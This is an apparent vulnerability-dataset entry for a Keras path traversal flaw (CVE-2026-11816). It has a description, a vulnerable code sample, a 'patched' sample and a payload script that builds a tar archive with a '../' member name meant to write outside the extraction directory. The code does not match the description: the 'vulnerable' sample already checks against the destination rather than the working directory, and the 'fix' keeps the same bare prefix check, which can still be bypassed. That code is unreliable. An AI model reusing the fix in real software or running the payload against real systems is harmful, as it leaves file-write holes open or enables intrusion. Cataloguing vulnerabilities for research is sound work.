CVE-2026-11816
Path traversal in Keras archive extraction allows arbitrary file writes.
- CVSS 8.1
- CWE-22
- Input Validation and Sanitization
- Remote
Keras versions prior to 3.14.0 are vulnerable to a path traversal issue in the archive extraction utilities located in `keras/src/utils/file_utils.py`. The functions `filter_safe_tarinfos()` and `filter_safe_zipinfos()` validate archive member paths against the process current working directory (CWD) instead of the actual extraction destination. When the process runs with CWD set to `/`, which is common in Docker containers, CI/CD runners, and Jupyter environments, the validation boundary becomes the filesystem root, allowing traversal paths to bypass the security check. Additionally, the zip filter contains a bug that causes an `AttributeError` when a blocked entry is encountered, leading to incomplete extraction. Furthermore, Python 3.11 installations lack the `filter="data"` safety net, leaving them entirely reliant on the flawed CWD-based filter. Exploitation of this vulnerability can result in arbitrary file writes outside the intended extraction directory, enabling attackers to overwrite configuration files, inject malicious code, or corrupt machine learning datasets and pipelines.
- CWE
- CWE-22
- CVSS base score
- 8.1
- Published
- 2026-06-11
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Keras
- Fixed by upgrading
- Yes
Solution
Upgrade to Keras version 3.14.0 or later.
Vulnerable code sample
import os
# Representative vulnerable code from keras/src/utils/file_utils.py
# before the fix for the described vulnerability.
def filter_safe_tarinfos(members, dest_dir):
"""Filter TarInfo objects to prevent path traversal attacks."""
dest_dir = os.path.abspath(dest_dir)
for member in members:
member_path = os.path.join(dest_dir, member.name)
if not os.path.abspath(member_path).startswith(dest_dir):
raise IOError(
f"Attempted path traversal in Tar file: '{member.name}'"
)
yield member
def filter_safe_zipinfos(members, dest_dir):
"""Filter ZipInfo objects to prevent path traversal attacks."""
dest_dir = os.path.abspath(dest_dir)
for member in members:
member_path = os.path.join(dest_dir, member.filename)
if not os.path.abspath(member_path).startswith(dest_dir):
# This line raises an AttributeError for blocked entries because
# a ZipInfo object has a 'filename' attribute, not a 'name' attribute.
raise IOError(
f"Attempted path traversal in Zip file: '{member.name}'"
)
yield memberPatched code sample
import os
def _validate_archive_members(members, extract_path):
"""
Validates that all archive members fall within the intended extraction path.
This function demonstrates the fix for the vulnerability. Instead of using
the process's current working directory (os.getcwd()) as the security
boundary, it uses the absolute path of the intended `extract_path`.
"""
# Resolve the destination to a real, absolute path. This creates the
# secure boundary for the extraction.
abs_extract_path = os.path.abspath(extract_path)
for member in members:
# In a real tar/zip object, the attribute is .name or .filename
member_name = getattr(member, 'name', getattr(member, 'filename'))
# The member path is joined to the destination directory.
# This is where a traversal path like "../../file" would be processed.
member_destination = os.path.join(extract_path, member_name)
# The core of the fix: The absolute path of the final member destination
# is calculated, resolving any ".." components. It is then checked to
# ensure it is still inside the intended extraction directory.
if not os.path.abspath(member_destination).startswith(abs_extract_path):
raise IOError(
f"Attempted path traversal in archive: '{member_name}' is "
f"outside of the extraction path."
)
# If the loop completes without error, all members are safe.
# The actual extraction would proceed here.Payload
import tarfile
import io
import time
# The name of the malicious archive to be created.
payload_archive_name = "malicious_payload.tar"
# The path traversal sequence. It aims to escape the extraction
# directory and write a file into the /tmp directory.
# The number of '../' is chosen to be high enough to escape
# common temporary directory nesting.
traversal_path = "../../../../tmp/pwned_by_cve_2026_11816"
# The content to be written to the target file.
file_content = b"Arbitrary file write successful."
# Create a TarInfo object representing the malicious file entry.
tar_info = tarfile.TarInfo(name=traversal_path)
tar_info.size = len(file_content)
tar_info.mtime = int(time.time())
tar_info.type = tarfile.REGTYPE
# Create the malicious .tar archive.
with tarfile.open(payload_archive_name, "w") as tar:
# Add the malicious file entry to the archive.
tar.addfile(tarinfo=tar_info, fileobj=io.BytesIO(file_content))
Cite this entry
@misc{vaitp:cve202611816,
title = {{Path traversal in Keras archive extraction allows arbitrary file writes.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-11816},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-11816/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
